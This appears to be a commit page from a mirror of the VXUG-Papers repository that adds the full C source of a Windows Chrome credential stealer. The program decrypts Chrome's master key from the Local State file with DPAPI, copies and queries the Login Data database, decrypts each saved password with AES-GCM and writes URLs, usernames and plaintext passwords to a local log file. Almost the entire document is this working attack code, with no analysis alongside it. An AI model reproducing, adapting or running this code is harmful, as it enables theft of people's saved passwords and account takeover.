mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-13 06:19:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,523 @@
|
||||
#include <windows.h>
|
||||
#include <Wincrypt.h>
|
||||
#include <bcrypt.h>
|
||||
#include "sqlite3.h"
|
||||
|
||||
#pragma comment (lib, "Crypt32.lib")
|
||||
#pragma comment (lib, "Bcrypt.lib")
|
||||
|
||||
#define DB_STRING L"Tmp.db"
|
||||
#define LOG_FILE L"Log.txt"
|
||||
#define AES_BLOCK_SIZE 16
|
||||
#define CIPHER_SIZE 12
|
||||
#define CHROME_V10_HEADER_SIZE 3
|
||||
#define NULL_TERMINATION_PADDING 1
|
||||
|
||||
#pragma warning(disable: 28251)
|
||||
#define WMAX_PATH (MAX_PATH * sizeof(WCHAR))
|
||||
#define ERROR_NO_RETURN_VALUE 0
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
|
||||
DATA_BLOB GlobalBlob;
|
||||
HANDLE Log;
|
||||
|
||||
SIZE_T StringLength(LPCWSTR String)
|
||||
{
|
||||
LPCWSTR String2;
|
||||
|
||||
for (String2 = String; *String2; ++String2);
|
||||
|
||||
return (String2 - String);
|
||||
}
|
||||
|
||||
SIZE_T StringLengthA(LPCSTR String)
|
||||
{
|
||||
LPCSTR String2;
|
||||
|
||||
for (String2 = String; *String2; ++String2);
|
||||
|
||||
return (String2 - String);
|
||||
}
|
||||
|
||||
INT StringCompareStringRegionA(PCHAR String1, PCHAR String2, SIZE_T Count)
|
||||
{
|
||||
UCHAR Block1, Block2;
|
||||
while (Count-- > 0)
|
||||
{
|
||||
Block1 = (UCHAR)*String1++;
|
||||
Block2 = (UCHAR)*String2++;
|
||||
|
||||
if (Block1 != Block2)
|
||||
return Block1 - Block2;
|
||||
|
||||
if (Block1 == '\0')
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
|
||||
{
|
||||
PWCHAR p = String1;
|
||||
|
||||
while ((*p++ = *String2++) != 0);
|
||||
|
||||
return String1;
|
||||
}
|
||||
|
||||
PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
|
||||
{
|
||||
StringCopyW(&String[StringLength(String)], String2);
|
||||
|
||||
return String;
|
||||
}
|
||||
|
||||
PCHAR StringCopyA(PCHAR String1, PCHAR String2)
|
||||
{
|
||||
PCHAR p = String1;
|
||||
|
||||
while ((*p++ = *String2++) != 0);
|
||||
|
||||
return String1;
|
||||
}
|
||||
|
||||
PCHAR StringConcatA(PCHAR String, PCHAR String2)
|
||||
{
|
||||
StringCopyA(&String[StringLengthA(String)], String2);
|
||||
|
||||
return String;
|
||||
}
|
||||
|
||||
BOOL PdIsPathValid(PWCHAR FilePath)
|
||||
{
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
|
||||
hFile = CreateFileW(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
if (GetLastError() == ERROR_SHARING_VIOLATION)
|
||||
return TRUE;
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (hFile)
|
||||
CloseHandle(hFile);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
PCHAR StringLocateCharA(PCHAR String, INT Character)
|
||||
{
|
||||
do
|
||||
{
|
||||
if (*String == Character)
|
||||
return (PCHAR)String;
|
||||
|
||||
} while (*String++);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PCHAR StringFindSubstringA(PCHAR String1, PCHAR String2)
|
||||
{
|
||||
PCHAR pPointer = String1;
|
||||
DWORD Length = (DWORD)StringLengthA(String2);
|
||||
|
||||
for (; (pPointer = StringLocateCharA(pPointer, *String2)) != 0; pPointer++)
|
||||
{
|
||||
if (StringCompareStringRegionA(pPointer, String2, Length) == 0)
|
||||
return (PCHAR)pPointer;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PCHAR StringRemoveSubstring(PCHAR String, CONST PCHAR Substring)
|
||||
{
|
||||
DWORD Length = (DWORD)StringLengthA(Substring);
|
||||
PCHAR pPointer = String;
|
||||
|
||||
if (Length == 0)
|
||||
return NULL;
|
||||
|
||||
while ((pPointer = StringFindSubstringA(pPointer, Substring)) != NULL)
|
||||
MoveMemory(pPointer, pPointer + Length, StringLengthA(pPointer + Length) + 1);
|
||||
|
||||
return String;
|
||||
}
|
||||
|
||||
PCHAR StringTerminateStringAtCharA(PCHAR String, INT Character)
|
||||
{
|
||||
DWORD Length = (DWORD)StringLengthA(String);
|
||||
|
||||
for (DWORD Index = 0; Index < Length; Index++)
|
||||
{
|
||||
if (String[Index] == Character)
|
||||
{
|
||||
String[Index] = '\0';
|
||||
return String;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BOOL CreateLocalAppDataObjectPath(PWCHAR pBuffer, PWCHAR Path, DWORD Size, BOOL bFlag)
|
||||
{
|
||||
if (pBuffer == NULL)
|
||||
return FALSE;
|
||||
|
||||
if (GetEnvironmentVariableW(L"LOCALAPPDATA", pBuffer, Size) == ERROR_NO_RETURN_VALUE)
|
||||
return FALSE;
|
||||
|
||||
if (StringConcatW(pBuffer, Path) == ERROR_NO_RETURN_VALUE)
|
||||
return FALSE;
|
||||
|
||||
if (bFlag)
|
||||
{
|
||||
if (!PdIsPathValid(pBuffer))
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID CharArrayToByteArray(PCHAR Char, PBYTE Byte, DWORD Length)
|
||||
{
|
||||
for (DWORD dwX = 0; dwX < Length; dwX++)
|
||||
{
|
||||
Byte[dwX] = (BYTE)Char[dwX];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL RtlLoadMasterKey(PWCHAR Path)
|
||||
{
|
||||
PCHAR Substring = NULL;
|
||||
PBYTE Decoded = NULL;
|
||||
DATA_BLOB In = { 0 };
|
||||
DATA_BLOB Out = { 0 };
|
||||
|
||||
DWORD dwLength = 0;
|
||||
|
||||
HANDLE hHandle = INVALID_HANDLE_VALUE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
DWORD dwBytesRead = 0;
|
||||
|
||||
hHandle = CreateFile(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hHandle == INVALID_HANDLE_VALUE)
|
||||
goto FAILURE;
|
||||
|
||||
dwError = GetFileSize(hHandle, NULL);
|
||||
if (dwError == INVALID_FILE_SIZE)
|
||||
goto FAILURE;
|
||||
|
||||
Substring = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwError);
|
||||
if (Substring == NULL)
|
||||
goto FAILURE;
|
||||
|
||||
if (!ReadFile(hHandle, Substring, dwError, &dwBytesRead, NULL))
|
||||
goto FAILURE;
|
||||
|
||||
Substring = StringFindSubstringA(Substring, (PCHAR)"\"os_crypt\":{\"encrypted_key\":\"");
|
||||
if (Substring == NULL)
|
||||
goto FAILURE;
|
||||
|
||||
if (StringRemoveSubstring(Substring, (PCHAR)"\"os_crypt\":{\"encrypted_key\":\"") == NULL)
|
||||
goto FAILURE;
|
||||
|
||||
if (StringTerminateStringAtCharA(Substring, '"') == NULL)
|
||||
goto FAILURE;
|
||||
|
||||
if (!CryptStringToBinaryA(Substring, (DWORD)StringLengthA(Substring), CRYPT_STRING_BASE64, NULL, &dwLength, NULL, NULL))
|
||||
goto FAILURE;
|
||||
|
||||
Decoded = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, StringLengthA(Substring) + 1);
|
||||
if (Decoded == NULL)
|
||||
goto FAILURE;
|
||||
|
||||
if (!CryptStringToBinaryA(Substring, (DWORD)StringLengthA(Substring), CRYPT_STRING_BASE64, Decoded, &dwLength, NULL, NULL))
|
||||
goto FAILURE;
|
||||
|
||||
Decoded += 5;
|
||||
dwLength -= 5;
|
||||
|
||||
In.cbData = dwLength;
|
||||
In.pbData = Decoded;
|
||||
|
||||
if (!CryptUnprotectData(&In, NULL, NULL, NULL, NULL, 0, &GlobalBlob))
|
||||
goto FAILURE;
|
||||
|
||||
if (hHandle)
|
||||
CloseHandle(hHandle);
|
||||
|
||||
return TRUE;
|
||||
|
||||
FAILURE:
|
||||
|
||||
dwError = GetLastError();
|
||||
|
||||
if (hHandle)
|
||||
CloseHandle(hHandle);
|
||||
|
||||
if (Decoded)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Decoded);
|
||||
|
||||
if(Substring)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Substring);
|
||||
|
||||
SetLastError(dwError);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID DisposeOfPathObject(PWCHAR Path)
|
||||
{
|
||||
ZeroMemory(Path, sizeof(Path));
|
||||
}
|
||||
|
||||
BOOL WriteDecryptedDataToDisk(PCHAR Url, PCHAR Username, PBYTE Password)
|
||||
{
|
||||
CHAR WriteArray[512] = { 0 };
|
||||
DWORD nNumberOfBytesToWrite = 0;
|
||||
DWORD lpNumberOfBytesWritten = 0;
|
||||
|
||||
if (StringCopyA(WriteArray, (PCHAR)"Url: ") == NULL) return FALSE;
|
||||
if (StringConcatA(WriteArray, Url) == NULL) return FALSE;
|
||||
if (StringConcatA(WriteArray, (PCHAR)"\r\n") == NULL) return FALSE;
|
||||
|
||||
if (StringConcatA(WriteArray, (PCHAR)"Username: ") == NULL) return FALSE;
|
||||
if (StringConcatA(WriteArray, Username) == NULL) return FALSE;
|
||||
if (StringConcatA(WriteArray, (PCHAR)"\r\n") == NULL) return FALSE;
|
||||
|
||||
if (StringConcatA(WriteArray, (PCHAR)"Password: ") == NULL) return FALSE;
|
||||
if (StringConcatA(WriteArray, (PCHAR)Password) == NULL) return FALSE;
|
||||
if (StringConcatA(WriteArray, (PCHAR)"\r\n\n") == NULL) return FALSE;
|
||||
|
||||
nNumberOfBytesToWrite = (DWORD)StringLengthA(WriteArray);
|
||||
|
||||
return WriteFile(Log, WriteArray, nNumberOfBytesToWrite, &lpNumberOfBytesWritten, NULL);
|
||||
}
|
||||
|
||||
INT CallbackSqlite3QueryObjectRoutine(PVOID DatabaseObject, INT Argc, PCHAR* Argv, PCHAR* ColumnName)
|
||||
{
|
||||
CHAR PasswordIv[MAX_PATH] = { 0 };
|
||||
PBYTE IvPointer = NULL;
|
||||
|
||||
BCRYPT_ALG_HANDLE Handle = NULL;
|
||||
BCRYPT_KEY_HANDLE phKey = NULL;
|
||||
NTSTATUS Status = ERROR_SUCCESS;
|
||||
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
|
||||
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO Info;
|
||||
|
||||
PBYTE pbInitIv = NULL;
|
||||
ULONG IvLength = (ULONG)StringLengthA(Argv[2]);
|
||||
|
||||
PBYTE DecryptedData = NULL;
|
||||
ULONG DecryptedSize = 0;
|
||||
|
||||
if (IvLength < 32)
|
||||
{
|
||||
//known issue
|
||||
return (INT)ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
CopyMemory(PasswordIv, Argv[2], IvLength);
|
||||
|
||||
pbInitIv = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, IvLength);
|
||||
if (pbInitIv == NULL)
|
||||
goto FAILURE;
|
||||
|
||||
CharArrayToByteArray(PasswordIv, pbInitIv, IvLength);
|
||||
IvPointer = pbInitIv;
|
||||
IvPointer += 3;
|
||||
|
||||
Status = BCryptOpenAlgorithmProvider(&Handle, L"AES", NULL, 0);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return (INT)GetLastError();
|
||||
|
||||
Status = BCryptSetProperty(Handle, L"ChainingMode", (PUCHAR)L"ChainingModeGCM", 0, 0);
|
||||
if (!NT_SUCCESS(Status))
|
||||
goto FAILURE;
|
||||
|
||||
Status = BCryptGenerateSymmetricKey(Handle, &phKey, NULL, 0, GlobalBlob.pbData, GlobalBlob.cbData, 0);
|
||||
if (!NT_SUCCESS(Status))
|
||||
goto FAILURE;
|
||||
|
||||
BCRYPT_INIT_AUTH_MODE_INFO(Info);
|
||||
Info.pbNonce = IvPointer;
|
||||
Info.cbNonce = CIPHER_SIZE;
|
||||
Info.pbTag = (Info.pbNonce + IvLength - (CHROME_V10_HEADER_SIZE + AES_BLOCK_SIZE));
|
||||
Info.cbTag = AES_BLOCK_SIZE;
|
||||
|
||||
dwError = IvLength - CHROME_V10_HEADER_SIZE - Info.cbNonce -Info.cbTag;
|
||||
#pragma warning( push )
|
||||
#pragma warning( disable : 26451)
|
||||
DecryptedData = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwError + NULL_TERMINATION_PADDING);
|
||||
if (DecryptedData == NULL)
|
||||
goto FAILURE;
|
||||
#pragma warning( pop )
|
||||
|
||||
Status = BCryptDecrypt(phKey, (Info.pbNonce + Info.cbNonce), dwError, &Info, NULL, 0, DecryptedData, dwError, &DecryptedSize, 0);
|
||||
if (!NT_SUCCESS(Status))
|
||||
goto FAILURE;
|
||||
|
||||
WriteDecryptedDataToDisk(Argv[0], Argv[1], DecryptedData);
|
||||
|
||||
if (pbInitIv)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pbInitIv);
|
||||
|
||||
IvPointer = NULL;
|
||||
|
||||
if (phKey)
|
||||
BCryptDestroyKey(phKey);
|
||||
|
||||
if (Handle)
|
||||
BCryptCloseAlgorithmProvider(Handle, 0);
|
||||
|
||||
if (DecryptedData)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, DecryptedData);
|
||||
|
||||
return (INT)ERROR_SUCCESS;
|
||||
|
||||
FAILURE:
|
||||
|
||||
dwError = GetLastError();
|
||||
|
||||
if (pbInitIv)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pbInitIv);
|
||||
|
||||
#pragma warning( push )
|
||||
#pragma warning( disable : 6001)
|
||||
if (phKey)
|
||||
BCryptDestroyKey(phKey);
|
||||
#pragma warning( pop )
|
||||
|
||||
if (Handle)
|
||||
BCryptCloseAlgorithmProvider(Handle, 0);
|
||||
|
||||
if (DecryptedData)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, DecryptedData);
|
||||
|
||||
return (INT)dwError;
|
||||
}
|
||||
|
||||
BOOL DeleteFileInternal(PWCHAR Path)
|
||||
{
|
||||
HANDLE hHandle = INVALID_HANDLE_VALUE;
|
||||
|
||||
if (Path == NULL)
|
||||
return FALSE;
|
||||
|
||||
if (!PdIsPathValid(Path))
|
||||
return FALSE;
|
||||
|
||||
hHandle = CreateFileW(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
||||
if (hHandle == INVALID_HANDLE_VALUE)
|
||||
return FALSE;
|
||||
|
||||
if (hHandle)
|
||||
CloseHandle(hHandle);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL GetSqlite3ChromeDbData(VOID)
|
||||
{
|
||||
sqlite3* DatabaseObject = NULL;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
INT Result = ERROR_SUCCESS;
|
||||
PCHAR Error = NULL;
|
||||
|
||||
Result = sqlite3_open_v2("Tmp.db", &DatabaseObject, SQLITE_OPEN_READONLY, NULL);
|
||||
if (Result != ERROR_SUCCESS)
|
||||
goto FAILURE;
|
||||
|
||||
Log = CreateFileW(LOG_FILE, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (Log == INVALID_HANDLE_VALUE)
|
||||
goto FAILURE;
|
||||
|
||||
Result = sqlite3_exec(DatabaseObject, "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS", CallbackSqlite3QueryObjectRoutine, DatabaseObject, &Error);
|
||||
if (Result != ERROR_SUCCESS)
|
||||
goto FAILURE;
|
||||
|
||||
if (DatabaseObject)
|
||||
sqlite3_close(DatabaseObject);
|
||||
|
||||
if (Log)
|
||||
CloseHandle(Log);
|
||||
|
||||
return TRUE;
|
||||
|
||||
FAILURE:
|
||||
|
||||
if (DatabaseObject)
|
||||
sqlite3_close(DatabaseObject);
|
||||
|
||||
if (Log)
|
||||
CloseHandle(Log);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
INT main(VOID)
|
||||
{
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
WCHAR ChromePath[WMAX_PATH] = { 0 };
|
||||
BOOL bExists = FALSE;
|
||||
WCHAR Tmp[WMAX_PATH] = { 0 };
|
||||
|
||||
typedef enum { Chrome = 0, FireFox = 1, Other = 2} BrowserTargets;
|
||||
|
||||
if (!CreateLocalAppDataObjectPath(ChromePath, (PWCHAR)L"\\Google\\Chrome\\User Data\\Local State", WMAX_PATH, TRUE))
|
||||
goto FAILURE;
|
||||
|
||||
if(!RtlLoadMasterKey(ChromePath))
|
||||
goto FAILURE;
|
||||
|
||||
DisposeOfPathObject(ChromePath);
|
||||
|
||||
if (!CreateLocalAppDataObjectPath(ChromePath, (PWCHAR)L"\\Google\\Chrome\\User Data\\Default\\Login Data", WMAX_PATH, TRUE))
|
||||
goto FAILURE;
|
||||
|
||||
if (!CreateLocalAppDataObjectPath(Tmp, (PWCHAR)L"\\Google\\Chrome\\User Data\\Default\\", WMAX_PATH, FALSE))
|
||||
goto FAILURE;
|
||||
|
||||
if (!SetCurrentDirectoryW(Tmp))
|
||||
goto FAILURE;
|
||||
|
||||
DisposeOfPathObject(Tmp);
|
||||
|
||||
if (!CopyFile(ChromePath, DB_STRING, TRUE))
|
||||
goto FAILURE;
|
||||
|
||||
bExists = TRUE;
|
||||
|
||||
if (!GetSqlite3ChromeDbData())
|
||||
goto FAILURE;
|
||||
|
||||
if (!DeleteFileInternal((PWCHAR)DB_STRING))
|
||||
goto FAILURE;
|
||||
|
||||
if (GlobalBlob.pbData)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GlobalBlob.pbData);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
|
||||
FAILURE:
|
||||
|
||||
dwError = GetLastError();
|
||||
|
||||
if (bExists)
|
||||
DeleteFileInternal((PWCHAR)DB_STRING);
|
||||
|
||||
if (GlobalBlob.pbData)
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GlobalBlob.pbData);
|
||||
|
||||
return dwError;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user